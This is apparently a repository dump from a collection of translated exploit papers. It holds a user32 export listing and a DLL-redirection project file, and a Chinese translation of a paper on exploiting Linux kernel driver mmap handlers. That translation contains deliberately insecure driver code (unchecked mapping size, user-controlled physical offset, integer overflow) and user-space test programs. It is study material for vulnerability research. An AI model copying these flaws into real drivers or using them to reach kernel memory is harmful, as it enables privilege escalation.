576 | 576 23F 0001CDAA SendMessageTimeoutW
577 | 577 240 0001929A SendMessageW
578 | 578 241 00043948 SendNotifyMessageA
579 | 579 242 0001D64F SendNotifyMessageW
580 | 580 243 00017822 SetActiveWindow
581 | 581 244 0001C35E SetCapture
582 | 582 245 00021174 SetCaretBlinkTime
583 | 583 246 0001A962 SetCaretPos
584 | 584 247 0001FE71 SetClassLongA
585 | 585 248 0000E14B SetClassLongW
586 | 586 249 0005CE4A SetClassWord
587 | 587 24A 00020F9E SetClipboardData
588 | 588 24B 00020473 SetClipboardViewer
589 | 589 24C 0001865F SetConsoleReserveKeys
590 | 590 24D 00019930 SetCursor
591 | 591 24E 0005CE5E SetCursorContents
592 | 592 24F 000461B3 SetCursorPos
593 | 593 250 000462EB SetDebugErrorLevel
594 | 594 251 00045705 SetDeskWallpaper
595 | 595 252 0004BC09 SetDlgItemInt
596 | 596 253 0002C972 SetDlgItemTextA
597 | 597 254 0001736C SetDlgItemTextW
598 | 598 255 000461CE SetDoubleClickTime
599 | 599 256 0001B112 SetFocus
600 | 600 257 000142ED SetForegroundWindow
601 | 601 258 0005CE9A SetInternalWindowPos
602 | 602 259 000202B5 SetKeyboardState
603 | 603 25A 00056FB0 SetLastErrorEx
604 | 604 25B 0001CE12 SetLayeredWindowAttributes
605 | 605 25C 00011FEF SetLogonNotifyWindow
606 | 606 25D 0003F3F6 SetMenu
607 | 607 25E 0005CEC2 SetMenuContextHelpId
608 | 608 25F 0000F5B4 SetMenuDefaultItem
609 | 609 260 0005523C SetMenuInfo
610 | 610 261 0003FAB2 SetMenuItemBitmaps
611 | 611 262 0005AE5E SetMenuItemInfoA
612 | 612 263 00013281 SetMenuItemInfoW
613 | 613 264 000468C5 SetMessageExtraInfo
614 | 614 265 0002E1EB SetMessageQueue
615 | 615 266 0001C7F9 SetParent
616 | 616 267 000463FC SetProcessDefaultLayout
617 | 617 268 00017D40 SetProcessWindowStation
618 | 618 269 00046168 SetProgmanWindow
619 | 619 26A 00020000 SetPropA
620 | 620 26B 0001C0B9 SetPropW
621 | 621 26C 00018FA6 SetRect
622 | 622 26D 00019CBA SetRectEmpty
623 | 623 26E 00009056 SetScrollInfo
624 | 624 26F 0001F750 SetScrollPos
625 | 625 270 0001F99B SetScrollRange
626 | 626 271 00046114 SetShellWindow
627 | 627 272 0000FF92 SetShellWindowEx
628 | 628 273 00056582 SetSysColors
629 | 629 274 00056EBE SetSysColorsTemp
630 | 630 275 0005670B SetSystemCursor
631 | 631 276 0002F9E3 SetSystemMenu
632 | 632 277 0005CF3A SetSystemTimer
633 | 633 278 00010260 SetTaskmanWindow
634 | 634 279 00017D2C SetThreadDesktop
635 | 635 27A 00008C2E SetTimer
636 | 636 27B 0005CEEA SetUserObjectInformationA
637 | 637 27C 0005CEEA SetUserObjectInformationW
638 | 638 27D 000113B3 SetUserObjectSecurity
639 | 639 27E 000217F7 SetWinEventHook
640 | 640 27F 0002FDD9 SetWindowContextHelpId
641 | 641 280 0001C29D SetWindowLongA
642 | 642 281 0001C2BB SetWindowLongW
643 | 643 282 0000DE46 SetWindowPlacement
644 | 644 283 000199F3 SetWindowPos
645 | 645 284 0001E528 SetWindowRgn
646 | 646 285 0000F338 SetWindowStationUser
647 | 647 286 0001F56B SetWindowTextA
648 | 648 287 0001960E SetWindowTextW
649 | 649 288 000203DB SetWindowWord
650 | 650 289 0002ED69 SetWindowsHookA
651 | 651 28A 00021211 SetWindowsHookExA
652 | 652 28B 0001820F SetWindowsHookExW
653 | 653 28C 00011B8A SetWindowsHookW
654 | 654 28D 0001B09A ShowCaret
655 | 655 28E 0001FA6E ShowCursor
656 | 656 28F 000461E6 ShowOwnedPopups
657 | 657 290 0001F2F2 ShowScrollBar
658 | 658 291 00040101 ShowStartGlass
659 | 659 292 0001AF56 ShowWindow
660 | 660 293 0001337D ShowWindowAsync
661 | 661 294 0002A2DF SoftModalMessageBox
662 | 662 295 00010138 SubtractRect
663 | 663 296 00046201 SwapMouseButton
664 | 664 297 0000FE6E SwitchDesktop
665 | 665 298 0004581C SwitchToThisWindow
666 | 666 299 0001DEB2 SystemParametersInfoA
667 | 667 29A 00009F06 SystemParametersInfoW
668 | 668 29B 0004A5E5 TabbedTextOutA
669 | 669 29C 0004A5B6 TabbedTextOutW
670 | 670 29D 00046219 TileChildWindows
671 | 671 29E 00055215 TileWindows
672 | 672 29F 00045721 ToAscii
673 | 673 2A0 0004577E ToAsciiEx
674 | 674 2A1 000566A8 ToUnicode
675 | 675 2A2 000566D9 ToUnicodeEx
676 | 676 2A3 0001C80D TrackMouseEvent
677 | 677 2A4 0005531E TrackPopupMenu
678 | 678 2A5 0005CF62 TrackPopupMenuEx
679 | 679 2A6 0001FAC4 TranslateAccelerator
680 | 680 2A7 0001FAC4 TranslateAcceleratorA
681 | 681 2A8 0000941E TranslateAcceleratorW
682 | 682 2A9 0001FB2F TranslateMDISysAccel
683 | 683 2AA 00008BF6 TranslateMessage
684 | 684 2AB 00008A19 TranslateMessageEx
685 | 685 2AC 000218AC UnhookWinEvent
686 | 686 2AD 00011BA5 UnhookWindowsHook
687 | 687 2AE 0001D5F3 UnhookWindowsHookEx
688 | 688 2AF 0001A0F1 UnionRect
689 | 689 2B0 000462C0 UnloadKeyboardLayout
690 | 690 2B1 0000DCD9 UnlockWindowStation
691 | 691 2B2 0004B9C5 UnpackDDElParam
692 | 692 2B3 000189A3 UnregisterClassA
693 | 693 2B4 00009AA4 UnregisterClassW
694 | 694 2B5 0000E8D7 UnregisterDeviceNotification
695 | 695 2B6 0005CF8A UnregisterHotKey
696 | 696 2B7 0000FE08 UnregisterMessagePumpHook
697 | 697 2B8 0000EDFB UnregisterUserApiHook
698 | 698 2B9 0001ACF3 UpdateLayeredWindow
699 | 699 2BA 000119C8 UpdatePerUserSystemParameters
700 | 700 2BB 0001AEAB UpdateWindow
701 | 701 2BC 0002D395 User32InitializeImmEntryTable
702 | 702 2BD 0000B217 UserClientDllInitialize
703 | 703 2BE 0005CFDA UserHandleGrantAccess
704 | 704 2BF 0001BC25 UserLpkPSMTextOut
705 | 705 2C0 0004A3FB UserLpkTabbedTextOut
706 | 706 2C1 0001FA56 UserRealizePalette
707 | 707 2C2 00043748 UserRegisterWowHandlers
708 | 708 2C3 0005B427 VRipOutput
709 | 709 2C4 0005B427 VTagOutput
710 | 710 2C5 0001FBBD ValidateRect
711 | 711 2C6 0001F67E ValidateRgn
712 | 712 2C7 0002E4C0 VkKeyScanA
713 | 713 2C8 0005B18B VkKeyScanExA
714 | 714 2C9 0001F1BC VkKeyScanExW
715 | 715 2CA 0002E1F6 VkKeyScanW
716 | 716 2CB 0001D446 WCSToMBEx
717 | 717 2CC 0005B46B WINNLSEnableIME
718 | 718 2CD 0005B47C WINNLSGetEnableStatus
719 | 719 2CE 00023785 WINNLSGetIMEHotkey
720 | 720 2CF 0003FAF5 WaitForInputIdle
721 | 721 2D0 0000940C WaitMessage
722 | 722 2D1 0005D002 Win32PoolAllocationStats
723 | 723 2D2 0002EE5D WinHelpA
724 | 724 2D3 00051BD4 WinHelpW
725 | 725 2D4 0001FA3E WindowFromDC
726 | 726 2D5 00019766 WindowFromPoint
727 | 727 2D6 00056783 keybd_event
728 | 728 2D7 0005673F mouse_event
729 | 729 2D8 0000A8AD wsprintfA
730 | 730 2D9 0000A9B6 wsprintfW
731 | 731 2DA 0000A610 wvsprintfA
732 | 732 2DB 0000A9D1 wvsprintfW
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/user32/user32.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 |
14 | {9B27A2FF-06BA-43D9-9D46-104EF3E052F4}
15 | Win32Proj
16 | user32
17 |
18 |
19 |
20 | DynamicLibrary
21 | true
22 | v120
23 | Unicode
24 |
25 |
26 | DynamicLibrary
27 | false
28 | v120
29 | true
30 | Unicode
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 | true
44 |
45 |
46 | false
47 |
48 |
49 |
50 | Use
51 | Level3
52 | Disabled
53 | WIN32;_DEBUG;_WINDOWS;_USRDLL;USER32_EXPORTS;%(PreprocessorDefinitions)
54 | true
55 |
56 |
57 | Windows
58 | true
59 | user32.def
60 |
61 |
62 |
63 |
64 | Level3
65 | Use
66 | MaxSpeed
67 | true
68 | true
69 | WIN32;NDEBUG;_WINDOWS;_USRDLL;USER32_EXPORTS;%(PreprocessorDefinitions)
70 | true
71 |
72 |
73 | Windows
74 | true
75 | true
76 | true
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 | false
89 |
90 |
91 | false
92 |
93 |
94 |
95 |
96 | Create
97 | Create
98 |
99 |
100 |
101 |
102 |
103 |
104 |
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/user32/user32.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 | 头文件
23 |
24 |
25 | 头文件
26 |
27 |
28 |
29 |
30 | 源文件
31 |
32 |
33 | 源文件
34 |
35 |
36 | 源文件
37 |
38 |
39 |
--------------------------------------------------------------------------------
/API Interception via DLL Redirection/user32/user32/user33.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/user33.dll
--------------------------------------------------------------------------------
/Kernel Driver mmap Handler Exploitation/Kernel Driver mmap Handler Exploitation.md:
--------------------------------------------------------------------------------
1 | # 内核驱动mmap Handler利用技术
2 |
3 | ## 1. 内核驱动简介
4 |
5 | 在实现Linux内核驱动中,开发者可以注册一个设备驱动文件,该文件常常在/dev/目录下完成注册。该文件可以支持所有的常规文件方法,比如opening, reading, writing, mmaping, closing等等。设备驱动文件支持的操作由包含了一组函数指针的结构体`file_operations`描述,每个指针描述一个操作。在4.9版本内核中可以找到如下的定义。
6 |
7 | ```cpp
8 | struct file_operations {
9 | struct module *owner;
10 | loff_t(*llseek) (struct file *, loff_t, int);
11 | ssize_t(*read) (struct file *, char __user *, size_t, loff_t *);
12 | ssize_t(*write) (struct file *, const char __user *, size_t, loff_t *);
13 | ssize_t(*read_iter) (struct kiocb *, struct iov_iter *);
14 | ssize_t(*write_iter) (struct kiocb *, struct iov_iter *);
15 | int(*iterate) (struct file *, struct dir_context *);
16 | int(*iterate_shared) (struct file *, struct dir_context *);
17 | unsigned int(*poll) (struct file *, struct poll_table_struct *);
18 | long(*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
19 | long(*compat_ioctl) (struct file *, unsigned int, unsigned long);
20 | int(*mmap) (struct file *, struct vm_area_struct *);
21 | int(*open) (struct inode *, struct file *);
22 | int(*flush) (struct file *, fl_owner_t id);
23 | int(*release) (struct inode *, struct file *);
24 | int(*fsync) (struct file *, loff_t, loff_t, int datasync);
25 | int(*fasync) (int, struct file *, int);
26 | int(*lock) (struct file *, int, struct file_lock *);
27 | ssize_t(*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
28 | unsigned long(*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
29 | int(*check_flags)(int); int(*flock) (struct file *, int, struct file_lock *);
30 | ssize_t(*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
31 | ssize_t(*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
32 | int(*setlease)(struct file *, long, struct file_lock **, void **);
33 | long(*fallocate)(struct file *file, int mode, loff_t offset,loff_t len);
34 | void(*show_fdinfo)(struct seq_file *m, struct file *f);
35 | #ifndef CONFIG_MMU
36 | unsigned(*mmap_capabilities)(struct file *);
37 | #endif
38 | ssize_t(*copy_file_range)(struct file *, loff_t, struct file *, loff_t, size_t, unsigned int);
39 | int(*clone_file_range)(struct file *, loff_t, struct file *, loff_t,u64);
40 | ssize_t(*dedupe_file_range)(struct file *, u64, u64, struct file *, u64);
41 | };
42 | ```
43 |
44 | 如同上面展示,可以实现非常多的文件操作,本文的主角是mmap handler的实现。
45 |
46 | `file_operations`结构体的安装示例以及相关联的函数可以在下面看到('/fs/proc/softirqs.c'):
47 |
48 | ```cpp
49 | static int show_softirqs(struct seq_file *p, void *v)
50 | {
51 | int i, j;
52 |
53 | seq_puts(p, " ");
54 | for_each_possible_cpu(i)
55 | seq_printf(p, "CPU%-8d", i);
56 | seq_putc(p, '\n');
57 |
58 | for (i = 0; i < NR_SOFTIRQS; i++)
59 | {
60 | seq_printf(p, "%12s:", softirq_to_name[i]);
61 | for_each_possible_cpu(j)
62 | seq_printf(p, " %10u", kstat_softirqs_cpu(i, j));
63 | seq_putc(p, '\n');
64 | }
65 | return 0;
66 | }
67 |
68 | static int softirqs_open(struct inode *inode, struct file *file)
69 | {
70 | return single_open(file, show_softirqs, NULL);
71 | }
72 |
73 | static const struct file_operations proc_softirqs_operations = {
74 | .open = softirqs_open,
75 | .read = seq_read,
76 | .llseek = seq_lseek,
77 | .release = single_release,
78 | };
79 |
80 | static int __init proc_softirqs_init(void)
81 | {
82 | proc_create("softirqs", 0, NULL, &proc_softirqs_operations);
83 | return 0;
84 | }
85 | ```
86 |
87 | 上述代码可以在'proc_softirqs_operations'结构体中看到,它允许调用open, read, llseek和close函数。当一个应用程序试图去打开一个'softirqs'文件时就会调用'open'系统调用,进而会调用到指向的'softirqs_open'函数。
88 |
89 | ## 2. 内核mmap Handler
90 |
91 | ### 2.1 简单的mmap Handler
92 |
93 | 如上文提及,内核驱动可以实现自己的mmap handler。主要目的在于mmap handler可以加速用户空间进程和内核空间的数据交换。内核可以共享一块内核buffer或者直接共享某些物理内存地址范围给用户空间。用户空间进程可以直接修改这块内存而无需调用额外的系统调用。
94 |
95 | 一个简单(并且不安全)的mmap handler实现例子如下:
96 |
97 | ```cpp
98 | static struct file_operations fops =
99 | {
100 | .open = dev_open,
101 | .mmap = simple_mmap,
102 | .release = dev_release,
103 | };
104 |
105 | int size = 0x10000;
106 |
107 | static int dev_open(struct inode *inodep, struct file *filep)
108 | {
109 | printk(KERN_INFO "MWR: Device has been opened\n");
110 | filep->private_data = kzalloc(size, GFP_KERNEL);
111 | if (filep->private_data == NULL)
112 | return -1;
113 | return 0;
114 | }
115 |
116 | static int simple_mmap(struct file *filp, struct vm_area_struct *vma)
117 | {
118 | printk(KERN_INFO "MWR: Device mmap\n");
119 | if ( remap_pfn_range( vma, vma->vm_start, virt_to_pfn(filp->private_data), vma->vm_end - vma->vm_start, vma->vm_page_prot ) )
120 | {
121 | printk(KERN_INFO "MWR: Device mmap failed\n");
122 | return -EAGAIN;
123 | }
124 | printk(KERN_INFO "MWR: Device mmap OK\n");
125 | return 0;
126 | }
127 | ```
128 |
129 | 当打开上面的驱动时,`dev_open`会被调用,它简单的分配0x10000字节的buffer并且将其保存在`private_data`指针域。此后如果进程在对该文件描述符调用mmap时,就会调用到`simple_mmap`。该函数简单的调用`remap_pfn_range`函数来创建一个进程地址空间的新映射,将`private_data`指向的buffer和`vma->vm_start`开始的尺寸为`vma->vm_end-vma->vm_start`大小的地址空间关联起来。
130 |
131 | 一个请求对应文件mmap的用户空间程序样例:
132 |
133 | ```cpp
134 | int main(int argc, char * const * argv)
135 | {
136 | int fd = open("/dev/MWR_DEVICE", O_RDWR);
137 | if (fd < 0)
138 | {
139 | printf("[-] Open failed!\n");
140 | return -1;
141 | }
142 |
143 | unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x1000);
144 | if (addr == MAP_FAILED)
145 | {
146 | perror("Failed to mmap: ");
147 | close(fd);
148 | return -1;
149 | }
150 | printf("mmap OK addr: %lx\n", addr);
151 | close(fd);
152 | return 0;
153 | }
154 | ```
155 |
156 | 上面的代码对`/dev/MWR_DEVICE`驱动文件调用了mmap,大小为0x1000,文件偏移设置为0x1000,目标地址设置为0x42424000。可以看到一个成功的映射结果:
157 |
158 | ```shell
159 | # cat /proc/23058/maps
160 | 42424000-42425000 rw-s 00001000 00:06 68639 /dev/MWR_DEVICE
161 | ```
162 |
163 | ### 空的mmap Handler
164 |
165 | 到目前为止,我们已经见过了最简单的mmap操作的实现体,但是如果mmap handler是个空函数的话,会发生什么?
166 |
167 | 让我们考虑这个实现:
168 |
169 | ```cpp
170 | static struct file_operations fops =
171 | {
172 | .open = dev_open,
173 | .mmap = empty_mmap,
174 | .release = dev_release,
175 | };
176 |
177 | static int empty_mmap(struct file *filp, struct vm_area_struct *vma)
178 | {
179 | printk(KERN_INFO "MWR: empty_mmap\n");
180 | return 0;
181 | }
182 | ```
183 |
184 | 如我们所见,函数中只有log信息,这是为了让我们观察到函数被调用了。当`empty_mmap`被调用时,我们毫不夸张的可以猜测到什么都不会发生,mmap会引发失败,毕竟此时并没有`remap_pfn_range`或其他类似的函数。然而,事实并非如此。让我们运行一下用户空间代码,看看究竟会发生什么:
185 |
186 | ```cpp
187 | int fd = open("/dev/MWR_DEVICE", O_RDWR);
188 | unsigned long size = 0x1000;
189 | unsigned long *addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x1000);
190 | ```
191 |
192 | 在dmesg log中我们可以看到空的handler被成功调用:
193 |
194 | ```sh
195 | [ 1119.393560] MWR: Device has been opened 1 time(s)
196 | [ 1119.393574] MWR: empty_mmap
197 | ```
198 |
199 | 看看内存映射,有没有什么异常:
200 |
201 | ```sh
202 | # cat /proc/2386/maps
203 | 42424000-42426000 rw-s 00001000 00:06 22305
204 | ```
205 |
206 | 我们并没有调用`remap_pfn_range`函数,然而映射却如同此前情景那样被创建了。唯一的不同在于映射是无效的,因为我们实际上并没有映射任何的物理内存给这块虚拟地址。这样的一个mmap实现中,一旦访问了映射的地址空间,要么引起进程崩溃,要么引起整个内核的崩溃,这取决于具体使用的内核。
207 |
208 | 让我们试试访问这块内存:
209 |
210 | ```cpp
211 | int fd = open("/dev/MWR_DEVICE", O_RDWR);
212 | unsigned long size = 0x1000;
213 | unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x1000); printf("addr[0]: %x\n", addr[0]);
214 | ```
215 |
216 | 如我们所愿,进程崩溃了:
217 |
218 | ```sh
219 | ./mwr_client
220 | Bus error
221 | ```
222 |
223 | 然而在某些3.10 arm/arm64 Android内核中,类似的代码会引起kernel panic。
224 |
225 | 所以说,作为一个开发者,你不应该假定一个空的handler可以按预期表现,在内核中始终使用一个可用的返回码来控制给定的情形。
226 |
227 | ### 一个带有vm_operations_struct的mmap Handler
228 |
229 | 在mmap操作中,有办法在已分配内存区间上使用`vm_operations_struct`结构体来指派多种其他操作的handler(例如控制unmapped memory, page permission changes等)。
230 |
231 | `vm_operations_struct`在kernel 4.9中的定义如下:
232 |
233 | ```cpp
234 | struct vm_operations_struct {
235 | void(*open)(struct vm_area_struct * area);
236 | void(*close)(struct vm_area_struct * area);
237 | int(*mremap)(struct vm_area_struct * area);
238 | int(*fault)(struct vm_area_struct *vma, struct vm_fault *vmf);
239 | int(*pmd_fault)(struct vm_area_struct *, unsigned long address, pmd_t *, unsigned int flags);
240 | void(*map_pages)(struct fault_env *fe, pgoff_t start_pgoff, pgoff_t end_pgoff);
241 | int(*page_mkwrite)(struct vm_area_struct *vma, struct vm_fault *vmf);
242 | int(*pfn_mkwrite)(struct vm_area_struct *vma, struct vm_fault *vmf);
243 | int(*access)(struct vm_area_struct *vma, unsigned long addr, void *buf, int len, int write);
244 | const char *(*name)(struct vm_area_struct *vma);
245 | #ifdef CONFIG_NUMA
246 | int(*set_policy)(struct vm_area_struct *vma, struct mempolicy *new);
247 | struct mempolicy *(*get_policy)(struct vm_area_struct *vma, unsigned long addr);
248 | #endif
249 | struct page *(*find_special_page)(struct vm_area_struct *vma, unsigned long addr);
250 | };
251 | ```
252 |
253 | 如上文描述,这些函数指针可以用于实现特定的handler。关于此的详细描述在《Linux Device Drivers(Linux设备驱动)》一书中可以找到。
254 |
255 | 在实现内存分配器时,一个通俗可见的主流的行为是开发者实现了一个'fault' handler。例如,看看这一段:
256 |
257 | ```cpp
258 | static struct file_operations fops = {
259 | .open = dev_open,
260 | .mmap = simple_vma_ops_mmap,
261 | .release = dev_release,
262 | };
263 |
264 | static struct vm_operations_struct simple_remap_vm_ops = {
265 | .open = simple_vma_open,
266 | .close = simple_vma_close,
267 | .fault = simple_vma_fault,
268 | };
269 |
270 | static int simple_vma_ops_mmap(struct file *filp, struct vm_area_struct *vma)
271 | {
272 | printk(KERN_INFO "MWR: Device simple_vma_ops_mmap\n");
273 | vma->vm_private_data = filp->private_data;
274 | vma->vm_ops = &simple_remap_vm_ops;
275 | simple_vma_open(vma);
276 | printk(KERN_INFO "MWR: Device mmap OK\n");
277 | return 0;
278 | }
279 |
280 | void simple_vma_open(struct vm_area_struct *vma)
281 | {
282 | printk(KERN_NOTICE "MWR: Simple VMA open, virt %lx, phys %lx\n", vma->vm_start, vma->vm_pgoff << PAGE_SHIFT);
283 | }
284 |
285 | void simple_vma_close(struct vm_area_struct *vma)
286 | {
287 | printk(KERN_NOTICE "MWR: Simple VMA close.\n");
288 | }
289 |
290 | int simple_vma_fault(struct vm_area_struct *vma, struct vm_fault *vmf)
291 | {
292 | struct page *page = NULL;
293 | unsigned long offset;
294 | printk(KERN_NOTICE "MWR: simple_vma_fault\n");
295 | offset = (((unsigned long)vmf->virtual_address - vma->vm_start) + (vma->vm_pgoff << PAGE_SHIFT));
296 | if (offset > PAGE_SIZE << 4)
297 | goto nopage_out;
298 | page = virt_to_page(vma->vm_private_data + offset);
299 | vmf->page = page;
300 | get_page(page);
301 | nopage_out:
302 | return 0;
303 | }
304 | ```
305 |
306 | 上述代码中我们可以看到`simple_vma_ops_mmap`函数用于控制mmap调用。它什么都没做,除了指派了`simple_remap_vm_ops`结构体作为虚拟内存操作的handler。
307 |
308 | 让我们看看下列代码在该driver上运行的效果:
309 |
310 | ```cpp
311 | int fd = open("/dev/MWR_DEVICE", O_RDWR);
312 | unsigned long size = 0x1000;
313 | unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x1000);
314 | ```
315 |
316 | dmesg的结果:
317 |
318 | ```sh
319 | [268819.067085] MWR: Device has been opened 2 time(s)
320 | [268819.067121] MWR: Device simple_vma_ops_mmap
321 | [268819.067123] MWR: Simple VMA open, virt 42424000, phys 1000
322 | [268819.067125] MWR: Device mmap OK
323 | ```
324 |
325 | 进程地址空间的映射:
326 |
327 | ```sh
328 | 42424000-42425000 rw-s 00001000 00:06 140215 /dev/MWR_DEVICE
329 | ```
330 |
331 | 如我们所见,`simple_vma_ops_mmap`函数被调用了,内存映射也创建了。例子中`simple_vma_fault`函数没有被调用。问题在于,我们有了个地址范围为0x42424000-0x42425000的地址空间却不清楚它指向何处。我们没有为它关联物理内存,因此当进程试图访问这段地址的任一部分时,`simple_vma_fault`都会执行。
332 |
333 | 所以让我们看看这段用户空间代码:
334 |
335 | ```cpp
336 | int fd = open("/dev/MWR_DEVICE", O_RDWR);
337 | unsigned long size = 0x2000;
338 | unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x1000);
339 | printf("addr[0]: %x\n", addr[0]);
340 | ```
341 |
342 | 代码唯一的改变在于使用了printf函数来访问映射内存。因为内存区域无效所以我们的`simple_vma_fault`例程被调用了。dmesg的输出可以看到:
343 |
344 | ```sh
345 | [285305.468520] MWR: Device has been opened 3 time(s)
346 | [285305.468537] MWR: Device simple_vma_ops_mmap
347 | [285305.468538] MWR: Simple VMA open, virt 42424000, phys 1000
348 | [285305.468539] MWR: Device mmap OK
349 | [285305.468546] MWR: simple_vma_fault
350 | ```
351 |
352 | 在`simple_vma_fault`函数中,我们可以观察到`offset`变量使用了指向一个没有被映射的地址的`vmf->virtual_address`进行了计算。我们这里就是`addr[0]`的地址。下一个page结构体由`virt_to_page`宏得到,该宏将新获取的page赋值给`vmf->page`变量。这一赋值意味着当fault handler返回时,`addr[0]`会指向由`simple_vma_fault`计算出来的某个物理地址。该内存可以被用户进程所访问而无需其他任何代码。如果程序试图访问`addr[513]`(假定sizeof(unsigned long)为8),fault handler会被再次调用,这是由于`addr[0]`和`addr[513]`在两个不同的内存页上,而此前仅有一个内存页被映射过。
353 |
354 | 这就是源码:
355 |
356 | ```cpp
357 | int fd = open("/dev/MWR_DEVICE", O_RDWR);
358 | unsigned long size = 0x2000;
359 | unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x1000);
360 | printf("addr[0]: %x\n", addr[0]);
361 | printf("addr[513]: %x\n", addr[513]);
362 | ```
363 |
364 | 生成内核log:
365 |
366 | ```sh
367 | [286873.855849] MWR: Device has been opened 4 time(s)
368 | [286873.855976] MWR: Device simple_vma_ops_mmap
369 | [286873.855979] MWR: Simple VMA open, virt 42424000, phys 1000
370 | [286873.855980] MWR: Device mmap OK
371 | [286873.856046] MWR: simple_vma_fault
372 | [286873.856110] MWR: simple_vma_fault
373 | ```
374 |
375 | ## 3. 经典mmap Handler议题
376 |
377 | ### 3.1 用户输入有效性的不足
378 |
379 | 让我们看看前面的mmap handler例子:
380 |
381 | ```cpp
382 | static int simple_mmap(struct file *filp, struct vm_area_struct *vma)
383 | {
384 | printk(KERN_INFO "MWR: Device mmap\n");
385 | if ( remap_pfn_range( vma, vma->vm_start, virt_to_pfn(filp->private_data), vma->vm_end - vma->vm_start, vma->vm_page_prot ) )
386 | {
387 | printk(KERN_INFO "MWR: Device mmap failed\n");
388 | return -EAGAIN;
389 | }
390 | printk(KERN_INFO "MWR: Device mmap OK\n");
391 | return 0;
392 | }
393 | ```
394 |
395 | 前面展示的代码展示了一个通用的实现mmap handler的途径,相似的代码可以在《Linux设备驱动》一书中找到。示例代码主要的议论点在于`vma->vm_end`和`vma->vm_start`的值从未检查有效性。取而代之的,它们被直接传递给`remap_pfn_range`作为尺寸参数。这意味着一个恶意进程可以用一个不受限的尺寸来调用mmap。在我们这里,允许一个用户空间进程去mmap所有的在`filp->private_data`buffer之后的物理内存地址空间。这包括所有的内核内存。这意味着恶意进程能够从用户空间读写整个内核内存。
396 |
397 | 另一个流行的用法如下:
398 |
399 | ```cpp
400 | static int simple_mmap(struct file *filp, struct vm_area_struct *vma)
401 | {
402 | printk(KERN_INFO "MWR: Device mmap\n");
403 | if ( remap_pfn_range( vma, vma->vm_start, vma->vm_pgoff, vma->vm_end - vma->vm_start, vma->vm_page_prot ) )
404 | {
405 | printk(KERN_INFO "MWR: Device mmap failed\n");
406 | return -EAGAIN;
407 | }
408 | printk(KERN_INFO "MWR: Device mmap OK\n");
409 | return 0;
410 | }
411 | ```
412 |
413 | 上面的代码中我们可以看到用户控制的offset `vma->vm_pgoff`被直接传递给了`remap_pfn_range`函数作为物理地址。这会使得恶意进程有能力传递一个任意物理地址给mmap,也就在用户空间拥有了整个内核内存的访问权限。在一些对示例进行微小改动的情景中经常可以看到,要么offset有了掩码,要么使用了另外一个值来计算。
414 |
415 | ### 3.2 整数溢出
416 |
417 | 经常可以看到开发者试图使用复杂的计算、按位掩码、位移、尺寸和偏移和等方法去验证映射的尺寸和偏移(size and offset)。不幸的是,这常常导致了创建的复杂性以及不寻常的计算和验证过程晦涩难懂。在对size和offset值进行少量fuzzing后,找到可以绕过有效性检查的值并非不可能。
418 |
419 | 让我们看看这段代码:
420 |
421 | ```cpp
422 | static int integer_overflow_mmap(struct file *filp, struct vm_area_struct *vma)
423 | {
424 | unsigned int vma_size = vma->vm_end - vma->vm_start;
425 | unsigned int offset = vma->vm_pgoff << PAGE_SHIFT;
426 | printk(KERN_INFO "MWR: Device integer_overflow_mmap( vma_size: %x, offset: %x)\n", vma_size, offset);
427 | if (vma_size + offset > 0x10000)
428 | {
429 | printk(KERN_INFO "MWR: mmap failed, requested too large a chunk of memory\n");
430 | return -EAGAIN;
431 | }
432 | if (remap_pfn_range(vma, vma->vm_start, virt_to_pfn(filp->private_data), vma_size, vma->vm_page_prot))
433 | {
434 | printk(KERN_INFO "MWR: Device integer_overflow_mmap failed\n");
435 | return -EAGAIN;
436 | }
437 | printk(KERN_INFO "MWR: Device integer_overflow_mmap OK\n");
438 | return 0;
439 | }
440 | ```
441 |
